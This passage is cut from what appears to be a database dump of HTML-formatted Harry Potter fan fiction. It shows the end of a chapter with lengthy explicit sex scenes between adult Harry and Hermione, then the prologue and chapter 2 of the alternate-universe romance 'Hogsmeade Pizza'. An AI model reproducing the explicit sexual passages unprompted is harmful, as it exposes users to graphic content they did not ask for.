um&#8230;&#8221;</p>\n\n<p>&#8220;Wave runners?&#8221; Harry asked. &#8220;I think that&#8217;s what they&#8217;re called.&#8221;</p>\n\n<p>&#8220;Yes that&#8217;s it.&#8221; Hermione said. &#8220;And then we&#8217;ll lie on the beach again, then come back here and shower&#8230;.&#8221; She rattled on and Harry grinned. Hermione was perfect to help him forget his troubles. </p>\n\n<p>&#8220;&#8230;and then we&#8217;ll all have dinner somewhere quiet and&#8230;&#8221; she was cut off by Harry&#8217;s mouth on hers.</p>\n\n<p>&#8220;How about we try that shower idea out first?&#8221; he asked softly. Hermione grinned.</p>\n\n<p>&#8220;Feeling frisky are we?&#8221; she asked as he returned his lips to hers, neither of them giving a second thought to Harry&#8217;s father&#8217;s letter, morning breath, or food. His arms slid up under his long nightshirt that she&#8217;d thrown on the previous evening before going to bed; her hands were splayed across his chest, moving her thumbs slightly. This sent small shivers down Harry&#8217;s spine.</p>\n\n<p>&#8220;More frisky than you&#8217;ve ever seen me&#8230;&#8221; he responded as they pulled their mouths apart with a gasp. Harry moved his hands down to hers and grasped them firmly, pulling her away from the window towards the bathroom. &#8220;Come on.&#8221;</p>\n\n<p>&#8220;Let me grab my&#8230;.&#8221; Hermione reached down into her open bag and took her shower necessities. Harry grabbed the small container from her hand.</p>\n\n<p>&#8220;Lilacs!&#8221; he exclaimed.</p>\n\n<p>&#8220;What?&#8221; Hermione asked as she dropped the rest of her things on the counter. She took the bottle from Harry and set it in the shower, along with her shampoo and sponge.</p>\n\n<p>&#8220;I&#8217;ve always wondered what it is you smelled like.&#8221; He grinned. &#8220;Now I know.&#8221;</p>\n\n<p>She shook her head, a slight smile playing over her lips. Harry reached around her and grabbed the bottle of body wash back.</p>\n\n<p>&#8220;I think I want to keep it.&#8221; He hugged it against his chest. &#8220;Reminds me of you when we&#8217;re not together.&#8221;</p>\n\n<p>&#8220;Go buy some, you can get it anywhere.&#8221; Hermione said, stretching her arm towards him. </p>\n\n<p>&#8220;I know, but this has actually been used on that gorgeous body of yours.&#8221; Harry said lustfully, running his eyes over her.</p>\n\n<p>&#8220;Don&#8217;t make me use force Potter.&#8221; Hermione teased.</p>\n\n<p>&#8220;Maybe I do.&#8221; He quipped, smirking down at her. &#8220;I&#8217;d like to see what kind of force you&#8217;d use on me, it sounds quite kinky.&#8221;</p>\n\n<p>She laughed. &#8220;Come on, stud.&#8221; Hermione turned and twisted the knob so that the water came out steamy and hot. Harry stuck the bottle back on the shelf inside.</p>\n\n<p>&#8220;I don&#8217;t think your nightshirt would look quite so good on me in there.&#8221; Hermione purred, toying with the top button. She undid a few, slipping the fabric over one shoulder.</p>\n\n<p>Harry licked his lips; the sight of her bare shoulder was already making him mad with temptation. A slight smile quirked at the corner of her full mouth, her eyes growing dark in her own desire. He swallowed audibly as she beckoned him with one slim index finger.</p>\n\n<p>&#8220;Come here&#8230;&#8221; she said throatily, and like a man under a spell, he was drawn to her. </p>\n\n<p>&#8220;Hermione&#8230;&#8221; he began, but she lifted a finger to his lips, replacing them with her own a second later. He brought his hand to the remaining buttons, and without any hesitation, popped them off.&nbsp; Harry pressed his mouth harder against hers as he slid the shirt down over her arms, letting it drop to the floor. </p>\n\n<p>Her hands wandered down from his chest to his pyjama trousers; she slid her fingers into the waistband and stroked her nails lightly against his abs. Harry shuddered and gave a moan into her mouth. Hermione swept her tongue across his; he plundered her mouth like they hadn&#8217;t kissed for years. She pulled on the waistband more, and drew the trousers down his legs. He stepped out of them and kicked them aside; they joined his nightshirt on the floor.</p>\n\n<p>They both stared at each other; it was the purest form of desire. &#8220;I&#8217;ve never seen anyone with a body more gorgeous than yours.&#8221; Harry&#8217;s voice was low and husky.</p>\n\n<p>&#8220;I know.&#8221; Hermione answered, her eyes raking up and down his lithe frame. She drew him back to her for another mind numbing kiss. Not breaking away, she stepped back into the shower, taking him along with her.</p>\n\n<p>The hot water rushed down over both of them, but neither noticed. Hermione wrapped her arms around Harry&#8217;s neck, and his went around her waist, crushing her to him, his manhood was pressing into her thigh but she didn&#8217;t care. He backed them up against the wall, their mouths still fused together. She took her legs and wrapped them around his waist; in one deft move he slipped himself inside of her. Hermione ripped her mouth away from Harry&#8217;s to cry out.</p>\n\n<p>&#8220;Oh!&#8221; Hermione&#8217;s face was tilted back, her eyes closed in ecstasy. Harry tightened his hold around her waist and buried his face in her shoulder. He slowly began to pick up his rhythm, marvelling at how tightly she fit around his length.</p>\n\n<p>Hermione clutched at his shoulders, her nails digging into his skin, leaving marks as he took her higher and higher. Her cries were matched by his grunts as he thrust himself deeply into her, until she couldn&#8217;t take it anymore and screamed her loud release.</p>\n\n<p>It took both Harry and Hermione a few moments to come down; she finally unwound her legs from his waist and slumped against the wall. He leaned down and rested his forehead against hers, slowly bringing his lips over to kiss her lazily. The water rushed over them as they fought to catch their breath.</p>\n\n<p>Harry caressed the side of her face gently, twisting his fingers in her silky wet locks. Hermione kissed him again, and the passion between the two nearly knocked him over, he put his other hand against the wall to steady himself and felt something soft. His fingers closed over the sponge she had put in there.</p>\n\n<p>&#8220;Hmmm.&#8221; Harry said, pulling his mouth from hers.</p>\n\n<p>&#8220;What?&#8221; Hermione asked, opening her eyes. &#8220;Are you going to clean me up?&#8221; she asked playfully.</p>\n\n<p>&#8220;Yes, you&#8217;ve been very dirty.&#8221; Harry&#8217;s green eyes took on a lustful gleam.&nbsp; He took the bottle of her scented wash and put some on the sponge. Sudsing it up, he brought it to her body, moving it over her shoulder and down her arm in a gentle circular motion. </p>\n\n<p>Hermione turned so that her back was to him, and he gathered her wet hair in his hand and pushed it to the side. Placing a small kiss on the back of her neck, Harry continued to wash her, moving now over her back and down her bottom. Her smell of lilacs was becoming overpowering, and Harry felt the need to pull her back around once more to press his lips to hers. He tossed the sponge back on the shelf and ran his hands over her body, down her shoulders, covering her breasts, his fingers stroking over her tips and making them hard.</p>\n\n<p>Hermione bit her lip, trying to stifle the cries that wanted to escape her throat. She brought her own hand down and closed it around him, moving her fingers lightly up and down. It was Harry&#8217;s turn to moan; he placed his hands on the wall on either side of her and brought his lips back to hers.</p>\n\n<p>&#8220;Hermione&#8230;&#8221; he could barely utter her name, the sensations she was creating were making him quiver uncontrollably. She snaked one arm out and grabbed the sponge.</p>\n\n<p>&#8220;So you like how I smell huh.&#8221; Hermione said, squeezing out some of the gel and lathering it back up. Wordlessly she brought the sponge to his chest and began to rub it like he had, slow, lazy, gentle circles. She swirled it over his broad shoulders, over his back, relishing the feel of his tight muscles underneath the suds.</p>\n\n<p>His mouth returned to hers, his tongue tracing across her lips, asking for entry. Hermione dropped the sponge on the floor and pushed Harry back under the rush of water. It beat down on them, as their kissing grew frenzied, passionate. </p>\n\n<p>&#8220;Harry, oh please&#8230;&#8221; Hermione tilted her head back, allowing him access to her slender neck. His mouth moved down over her smooth skin, suckling lightly. Her hands moved up, cupping his face, then up into his hair. Even sopping wet it was soft, and long enough so it wouldn&#8217;t stick up when she ran her hands through it repeatedly. &#8220;Harry make love to me again&#8230;&#8221; she breathed, hardly able to stand the temptation.</p>\n\n<p>&#8220;Again?&#8221; he asked teasingly, pulling his mouth from her neck.</p>\n\n<p>&#8220;Yes.&#8221; She growled, wrapping her arms around his neck again. &#8220;Right now.&#8221;</p>\n\n<p>&#8220;This second?&#8221; Harry&#8217;s eyes were twinkling.</p>\n\n<p>&#8220;YES!&#8221; Hermione screamed in frustration. &#8220;THIS FUCKING SECOND!&#8221;</p>\n\n<p>Harry immediately plunged himself back into her, not giving her a second to catch her breath before he began to move in and out. Hermione swivelled her hips so that she could rock with him, this time not bothering to try and muffle her cries.</p>\n\n<p>Each cry from her made him push harder into her, the combination of her body and the damned lilacs making him absolutely mad with desire. Her back was pressed against the wall; the slippery tiles making her move up and down with each thrust Harry delivered. He bent down and pressed his lips back to hers, hungrily plundering her mouth with his tongue. Hermione gave back as much as she was getting, her hands running smoothly over his shoulders and his wet back. </p>\n\n<p>&#8220;Harry&#8230;&#8221; Hermione&#8217;s eyes were closed, as she was about to reach her plateau. &#8220;Harry I love you.&#8221;</p>\n\n<p>&#8220;I love you too Hermione.&#8221; Harry replied in between loud gasps. Her arms went tight around him as she gave off her final scream of pleasure, and a moment later Harry collapsed against her, panting heavily. Both spent more than just a few minutes catching their breath. He leaned his forehead against hers, encircling his arms around her waist, and she brought her hands up to lightly trace across his chest. They both stood silently together, not feeling the need to speak.</p>\n\n<p>&#8220;I can&#8217;t get over this.&#8221; Harry said, awhile later.</p>\n\n<p>&#8220;What?&#8221; Hermione asked, looking up at him.</p>\n\n<p>&#8220;You smell so good!&#8221; He groaned.</p>\n\n<p>She giggled. &#8220;You&#8217;re still on that?&#8221;</p>\n\n<p>&#8220;I can&#8217;t help it. Something about that smell makes me insane.&#8221; He said, his eyes turning dark again with desire.</p>\n\n<p>&#8220;You&#8217;ll love this then.&#8221; Hermione disentangled herself from his embrace and grabbed one of the other bottles on the shelf. She opened the top and waved it under his nose.</p>\n\n<p>&#8220;You have lilac shampoo.&#8221; He uttered, feeling completely weak in the knees.</p>\n\n<p>&#8220;I have lilac shampoo.&#8221; She answered coyly, pouring some into her hand. &#8220;Turn around.&#8221;</p>\n\n<p>Harry did as he was told, and a minute later, he felt her hands in his hair. Hermione used the tips of her fingers to gently massage his scalp; Harry groaned at the sensual way she moved her hands around.</p>\n\n<p>Hermione closed her eyes as she wove her fingers through his thick black hair. The water streamed back down, washing the shampoo from his scalp, he closed his eyes as it ran down his face. Breathing deeply, Harry turned back to his girlfriend and kissed her again.</p>\n\n<p>She dropped her hands from his hair to his shoulders, then running them back up to cup his face and tilt it so should could kiss him harder. Her body pressed up against his as he wrapped his arms around her and crushed her mouth to his.</p>\n\n<p>&#8220;I want you, Hermione.&#8221; Harry growled as they finally broke away.</p>\n\n<p>&#8220;You just had me.&#8221; Hermione answered breathlessly. She squeezed more shampoo into her hand, for herself this time.</p>\n\n<p>&#8220;Not so fast.&#8221; Harry said as he caught her hand. He scooped the shampoo into his own palm. &#8220;You turn around now.&#8221; She obliged, and Harry began to work the lather into her long locks.</p>\n\n<p>His fingers felt so good in her hair, moving along her scalp at a slow, leisurely rate. Harry worked his way down the length of her hair, making sure every strand was covered in the shampoo. He made the mistake of breathing deeply as his nose was right next to her head, and the lilacs overpowered his sense of&#8230;everything&#8230;. once more.</p>\n\n<p>&#8220;Damn it.&#8221; He said huskily, pulling her back around so she was facing him.</p>\n\n<p>&#8220;What&#8217;s wrong?&#8221; she asked, blinking as the water made the suds run down in rivulets over her face and body.</p>\n\n<p>&#8220;Nothing.&#8221; Harry stared at her, his green eyed gaze unwavering as she scrubbed the shampoo from her hair. &#8220;I just can&#8217;t believe how lucky I am.&#8221;</p>\n\n<p>Hermione smiled. &#8220;I&#8217;m lucky too.&#8221; She said, wrapping her arms around his waist and resting her head on his chest. He reached up with one hand and stroked her long hair, then tilted her head back.</p>\n\n<p>&#8220;I really, really want you.&#8221; His emerald eyes had darkened to a forest green, the desire in them mounting every second.</p>\n\n<p>&#8220;You just had me.&#8221; Hermione said again, her eyes half closed. Her head lolled back a little as Harry pressed his lips to her neck, softly suckling her tender flesh. </p>\n\n<p>&#8220;I can&#8217;t get enough of you.&#8221; He whispered, bringing her body back against his tightly. He kissed her fully on the lips again, but Hermione pulled away.</p>\n\n<p>&#8220;Not in here&#8230;&#8221; she held up her hand, the long running water had wrinkled it.</p>\n\n<p>&#8220;Good point.&#8221; Harry reached around her and shut the water off. Hermione opened the shower door and shivered as the cool bathroom air hit her skin. Before she had a chance to be really cold, Harry had grabbed two towels.</p>\n\n<p>&#8220;Ooh, thanks.&#8221; She wrapped one securely around herself and watched as he swathed the other around his hips, giggling a little as it slipped lower than he wanted it to.</p>\n\n<p>&#8220;Think that&#8217;s funny?&#8221; he asked, grinning.</p>\n\n<p>&#8220;Hilarious.&#8221; Hermione replied, grabbing a third towel and using it to squeeze the excess water from her hair. She tossed it at him playfully when she finished.</p>\n\n<p>&#8220;Playing games are we?&#8221; Harry asked, his grin growing wider.</p>\n\n<p>&#8220;Not yet.&#8221; Hermione cocked her head to the side, playing innocent. She widened her eyes and licked her lips, slowly and sensually.</p>\n\n<p>Harry gulped audibly and felt himself tighten up once more. Hermione noticed as well, and couldn&#8217;t stop herself from laughing.</p>\n\n<p>He growled, and then rushed forward and scooped her up in his arms, honeymoon style.</p>\n\n<p>&#8220;Hey!&#8221; Hermione shrieked. &#8220;My towel!&#8221;</p>\n\n<p>&#8220;You won&#8217;t be needing it anymore.&#8221; Harry said; as he kicked open the bathroom door. The sun had fully risen and the bedroom was now bright and airy. The filmy curtains billowed as a light breeze wafted into the room, bringing the scent of the ocean along with it.</p>\n\n<p>&#8220;Mmm&#8230;&#8221; Hermione closed her eyes and took a deep breath. Harry grinned at her obvious delight as he carefully deposited her on the bed. He whisked his towel off and tossed both of them on the floor as he laid down next to her on the soft white sheets. &#8220;This is incredible.&#8221; She said, her eyes still closed.</p>\n\n<p>&#8220;Yeah, it is.&#8221; Harry said absently, staring at her face. He raised his hand up and traced over her lips with his index finger. She opened her eyes and they stared at each other for a minute, then without a word, he lowered his head to hers again. Their kiss grew passionate quite fast, as if they hadn&#8217;t just made love twice that morning already. His hands brushed down over her breasts, stroking her lightly to make her shiver.</p>\n\n<p>Hermione wound her arms around his back, lightly raking her nails across his skin. Harry let out a cry into her mouth, and crushed his lips even harder to hers. His hand left her breast and curved over her stomach, down between her thighs. He began stroking her there, his fingers going around in a light circular pattern.</p>\n\n<p>&#8220;Oh!&#8221; her voice came out as a gasp when Harry touched her <i>there</i>, his finger sliding in and out of her. She began to move in a rhythm, arching her back as his mouth returned to hers, kissing her fully and deeply. He was growing hotter as well, the movement of her body making him so aroused he could hardly take it anymore; he wanted to be inside her.</p>\n\n<p>&#8220;Hermione&#8230;&#8221; he choked out, pulling his mouth from hers. She gazed up at him, her eyes glossed over. Harry raised himself off her and positioned near her entrance. &#8220;I need to&#8230;&#8221; he was barely able to get the words out before she pulled his body to hers, making him plunge inside her. She closed tightly around him as he began to move in and out smoothly.</p>\n\n<p>Neither one bothered to try and quiet their grunts and cries of pleasure as they enjoyed being together for the third time that morning. Hermione repeatedly ran her hands through his hair, making it stand on end. Harry pressed his face into her shoulder as he reached his climax, he drove into her once more as deeply as he could and cried his release.</p>\n\n<p>Hermione felt him let go inside her, warmth flowing through her body as she screamed her own pleasure, both of them shuddering as they came back down to earth. Harry, still catching his breath, laid down with his head on her chest, bringing the sheets up around them. Hermione encircled her arms around him, hugging him close to her.</p>\n\n<p>&#8220;You&#8217;re amazing.&#8221; Harry said a few moments later, intertwining her fingers with his.</p>\n\n<p>&#8220;You too.&#8221; Hermione answered as he raised his head up. He firmly pressed his lips against hers once more when the phone by their bed rang.</p>\n\n<p>&#8220;Hello?&#8221; Hermione groaned into the receiver.</p>\n\n<p>&#8220;Wow, it actually worked!&#8221; Jenn cried into her ear. &#8220;We&#8217;re just in the next room, and we can talk on this thing!&#8221;</p>\n\n<p>Hermione laughed, as did Harry, she was talking so loudly they could both hear. &#8220;What&#8217;s up?&#8221; she asked.</p>\n\n<p>&#8220;We were wondering if you two wanted to go have breakfast with us.&#8221; Jenn replied.</p>\n\n<p>Harry nodded. &#8220;Sure.&#8221; Hermione said into the phone. &#8220;When do you want to meet?&#8221;</p>\n\n<p>&#8220;Ten minutes?&#8221; </p>\n\n<p>&#8220;That&#8217;s fine.&#8221; Hermione said, and hung up. She turned to Harry. &#8220;I suppose that means we have to get up.&#8221; </p>\n\n<p>&#8220;I guess.&#8221; Harry grinned. Hermione pushed the sheets away and swung her legs over to the side of the bed. Grabbing her bag, she pulled out her swimsuit and a pair of shorts. She hurriedly pulled the shimmering red bikini on while Harry jumped into a pair of swim trunks and a white t-shirt. &#8220;Ready?&#8221; he asked her as she ran a brush through her long curly locks.</p>\n\n<p>&#8220;Yeah.&#8221; She answered, tossing a few things into her beach bag. Harry grinned at her. &#8220;What?&#8221;</p>\n\n<p>&#8220;You look good in that.&#8221; He said, taking her hand.</p>\n\n<p>&#8220;You look better in nothing.&#8221; Hermione quipped, and they were laughing as Harry shut the door behind them. &#8220;Hi you guys.&#8221; She said sunnily.</p>\n\n<p>&#8220;Morning!&#8221; Oliver greeted them. He and Harry fell in step behind Hermione and Jenn as they went down the hall.</p>\n\n<p>&#8220;Thanks for the wake up call.&#8221; Harry said jokingly. &#8220;Next time you&#8217;re in the middle of a clinch, I&#8217;ll make sure and give you a ring.&#8221;</p>\n\n<p>&#8220;My pleasure.&#8221; Oliver grinned. &#8220;By the way Potter, did you know you smell like lilacs?&#8221;</p>\n\n<p>A/N: Please guys, remember to leave a review, I would REALLY appreciate it!</p> '),
	(88, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal">A/N: Well here I am starting\nthis sooner than I planned. I got a bit inspired last night, so here you go,\nthe prologue to Hogsmeade Pizza.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">If you&#8217;ve seen the movie\nMystic Pizza, this story will be following that one for the most part.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Pairings are: Harry/Hermione,\nRon/Susan, and Lavender/Henry</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Cheers! And Happy reading!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Disclaimer: I don&#8217;t own a\ndamn thing. So sue someone else!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan Bones closed her eyes\nand took a few deep breaths. She willed her body to relax and make her\nheartbeat go back down to it&#8217;s normal rate. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Susan&#8230;calm down!&#8221; Hermione\nGranger adjusted the neckline of her bridesmaid&#8217;s gown so it laid lower on her\nshoulders. &#8220;You&#8217;re getting married, not walking down death bloody row!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione&#8230;&#8221; Lavender Brown\nglared at her cousin and went over to Susan. &#8220;You look gorgeous, no one is\ngoing to be laughing at you, I promise.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really?&#8221; Susan asked in a\ntiny voice. She was excited about marrying Ron; they&#8217;d been planning this day\nsince they&#8217;d graduated from Hogwarts a few years before, but now that it was\nactually happening&#8230; &#8220;What if I fall on my way down the aisle?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Be glad it&#8217;s not Hermione\nfalling, or her dress might go down with her!&#8221; Lavender snickered, and Susan\nfinally let out a peal of laughter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;At least I have something\nto hold my dress up with.&#8221; Hermione shot daggers at her cousin. She threw her\nhead back, letting her long dark brown curls fly over her shoulders and stuck\nher chest out, patting it proudly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re disgusting.&#8221;\nLavender told her cousin dryly. The three girls all burst out laughing as a\nknock sounded on the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ready?&#8221; it was Susan&#8217;s\nfather, ready to walk her down the aisle. &#8220;You three girls look gorgeous.&#8221; He\nsaid warmly, his eyes slightly misting over as he rested them on his daughter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks Mr. Bones!&#8221; Hermione\nsmiled sunnily at him as she strutted out, followed by Lavender. With the\nabsence of her two friends, Susan started to feel the nervousness coming back\nin leaps and bounds.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You look beautiful.&#8221; Mr.\nBones said softly, hugging his daughter to him. &#8220;My baby&#8217;s getting married, I\ncan&#8217;t believe it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Me either.&#8221; Susan choked\nout as he took her arm. Hermione and Lavender smiled reassuringly at her as\nthey stepped from the room and went to the main doors of the church.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione pasted a large\nsmile on her face as the doors opened and she began to step in time to the\nmusic. Behind her was Lavender, silently counting and blushing as people looked\non at the two of them. The two of them reached the front, where Ron and his\nfive brothers stood in a line, Ron twisting his hands in anticipation of seeing\nSusan. Hermione bit her lower lip hard as she caught a fit of the giggles;\nLavender poked her in the back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Stop it Hermione!&#8221; she\nhissed. They finally came to their places and Hermione managed to stop\nlaughing, although a tiny snicker emerged before she put her face back into\nit&#8217;s bright smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The music changed and\neveryone turned expectantly to the back, where Susan was being led down the\naisle by her father. There were several sighs of delight from the rows where\nrelatives and close friends sat, for Susan&#8217;s elaborate dress looked stunning on\nher. Her veil covered her long red curls; Lavender had helped her fix her hair\nthat morning. The lacy veil hung down her back, trailing on the floor, and then\nrested softy in front of her face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan felt as if she were\nsmothering. Every single eye in the room was upon her, and it was all she could\ndo to keep her pace along with her father as they came closer and closer to the\naltar.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ron&#8230;&#8221; she murmured almost\nsilently. He looked so handsome, his dark robes hanging off his broad\nshoulders, his red hair hanging over his forehead. His face spread in a large\ngrin as their eyes met, she managed a tiny trembling smile underneath the veil.\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right honey?&#8221; Susan&#8217;s\nfather was now bending down to say in her ear. She turned and barely nodded,\nand he kissed her cheek through the veil before passing her over to Ron. He\ntucked her arm into his tightly; turning to grin at her once more as the music\nended and the minister began talking.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We have come here today to\nwitness the marriage of Ronald Jonathan Weasley and Susan Marie Bones. To join\ntogether in holy matrimony, as long they shall live, to break the bind of\nmarriage is risk of eternal damnation&#8230;&#8221; the priest&#8217;s voice became a loud hum in\nSusan&#8217;s ear, and the room, including Ron, began to spin around her in a crazy\npattern of faces and words. Sweat broke out across her forehead; her breath\nbegan to come in short gasps. The last thing Susan heard before blacking out\nwas Ron&#8217;s shout of surprise as she toppled backwards&#8230;.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Well isn&#8217;t that a great\nbeginning ;)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">This story will be a\nromance/comedy, with some lighter and darker moments, nothing too bad I promise\n;)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Next chapter: since this is\nAU, some intros as to how the characters are in this story, Hermione sees Harry\nfor the first time, and Lavender gets a new job.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Don&#8217;t forget to R/R! :) No\nflames!!)</p>\n\n\n\n\n\n\n'),
	(88, 2, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Chapter 2</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Thanks for the response\nso far with the prologue! I hope you will all enjoy this story, and keep in\nmind, it&#8217;s totally AU!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Here is a bit of history:</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione, Susan, Ron, and\nLavender all graduated from Hogwarts at the same year. Harry was sent to a\nprivate academy, they are all still the same age. They are all in their early\n20&#8217;s.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Voldemort attacked the Potters\nwhen Harry was one; therefore he still has the scar. None of the Potters died,\nalthough Voldie was still weakened, till he came back when Harry was 10 and\nJames killed him forever, earning the title Minister of Magic. Therefore he&#8217;s\ngot two siblings, a sister about a year younger than him, Alexa, and a 16 year\nold brother named Jordan.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender and Hermione are\ncousins. Lavender, when she was 13, came to live with Hermione because her\nparents were killed in an auto crash. Before that she went to Beauxbatons, and\nreceived top grades her entire school career. Hermione also got good grades,\nbut she has done nothing with her knowledge since leaving Hogwarts. She still\nlikes to read, but not as much as in the books, she really likes Quidditch and\nracing brooms.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry is still famous,\nalthough he and James do not always get along so well, Harry is a bit of a\nsmart ass and gets himself in a spot of trouble every now and then. James\nexpects a lot out of Harry, yet Lily has a strong soft spot for him. He&#8217;s not\nreally a bad guy, just a tad lazy ;)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron works with his father in\na family company. He and Arthur run a small fishing company (as Hogsmeade is a\nfishing town in this). He&#8217;s still got all the brothers and sisters and such,\nbut he&#8217;s the last of his brothers to be married.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan is an only child, her\nfather runs a small store in Hogsmeade, and her mother is a housewife. She&#8217;s\nobviously scared out of her mind to marry Ron, but why?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">If there&#8217;s anything else to\nbe known about how the characters are, I&#8217;ll explain it in a new author&#8217;s note.\nIf something confuses you, please email me and I&#8217;ll clarify it as best I can!\nNow onwards with chapter 2! :)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Watch out!&#8221; Hermione cried\nas Lavender almost beaned her across the head with a pizza dish. &#8220;I don&#8217;t have\neyes in the back of my head you know!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sorry!&#8221; Lavender called out\nas she whisked across the restaurant, placing the dish down on a table.\n&#8220;Anything else you need?&#8221; she asked her customers, who shook their heads and\nthanked her. &#8220;Enjoy!&#8221; she said as she turned and went back to the kitchen.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I swear, tips just get\nworse and worse these days!&#8221; Hermione leaned against the counter and pulled a\nfew Sickles out of her pocket. &#8220;I mean, I slaved for this table and look what\nthey left me!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender tried not to smile.\nShe had gotten a few Galleons that day, but saw no need to mention that to her\ncousin. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I need a tankard for\nbutterbeer.&#8221; Hermione was now saying to one of the kitchen elves, Trippy. The\nelf pulled one out of the vat of hot water and dried it off, then handed it to\nher. &#8220;Thanks.&#8221; She said, grabbing a jug of butterbeer and sweeping out of the\nkitchen.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good turnout today.&#8221; The\nowner of Hogsmeade Pizza, Leonora, was obviously very happy as she used her\nwand to make 6 crusts spin flat into the air. Lavender watched in amazement as\nthey settled back down onto the boards, and Leonora started to ladle her\nspecial secret sauce onto them by hand. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s in that sauce?&#8221;\nLavender asked, trying to catch her boss off guard. Leonora was a terrible\nsecret keeper, but remained hard as stone when asked what she put in her sauce.\nShe, Hermione and Susan had been trying to find out what she did to it ever\nsince they started working there, but had been unable to get Leonora to spill\nher ingredient list even once.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nice try.&#8221; Leonora said,\nwhisking cheese from three graters onto the top of the pizzas. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Can&#8217;t blame me for trying!&#8221;\nLavender grinned and went back out to the main floor, making her rounds to the\ntables.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione set the tankard\ndown on the table and began to pour some butterbeer for the gentleman. She\nglanced up from the cup and out the window, and saw the door to the Quidditch\nshop down the way open, and a young man with messy black hair came walking out,\nwhat Hermione could tell was the newest racing broom, the Windrider. Along with\nhim was another young man with short brown hair; he seemed to be fawning over\nthe broomstick. She leaned over to get a closer look at the guy carrying the\nWindrider; he seemed familiar for some reason.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Miss!&#8221; Hermione was startled\nand horrified as she looked down and saw that she had emptied the jug of\nbutterbeer and it was dripping onto the man&#8217;s lap.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m so sorry!&#8221; she cried,\nmortified. She grabbed a napkin and pressed it gently on the man&#8217;s lap,\ncovering up her embarrassment by smiling brightly and making her eyes\napologetic.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s&#8230;quite&#8230;allright&#8230;&#8221; the\nman&#8217;s face was now bright red and he was the one apologizing. &#8220;Think nothing of\nit, I can clean it right up myself.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione smiled again. &#8220;All\nright then.&#8221; She straightened back up to look out the window, but the black\nhaired guy and his friend were gone. She pouted briefly but shrugged. If he\nlived here in Hogsmeade, Hermione knew she&#8217;d see him again; it was a tiny\nenough town. Crossing back over to the bar, she was surprised to see Susan\ntrudging up the 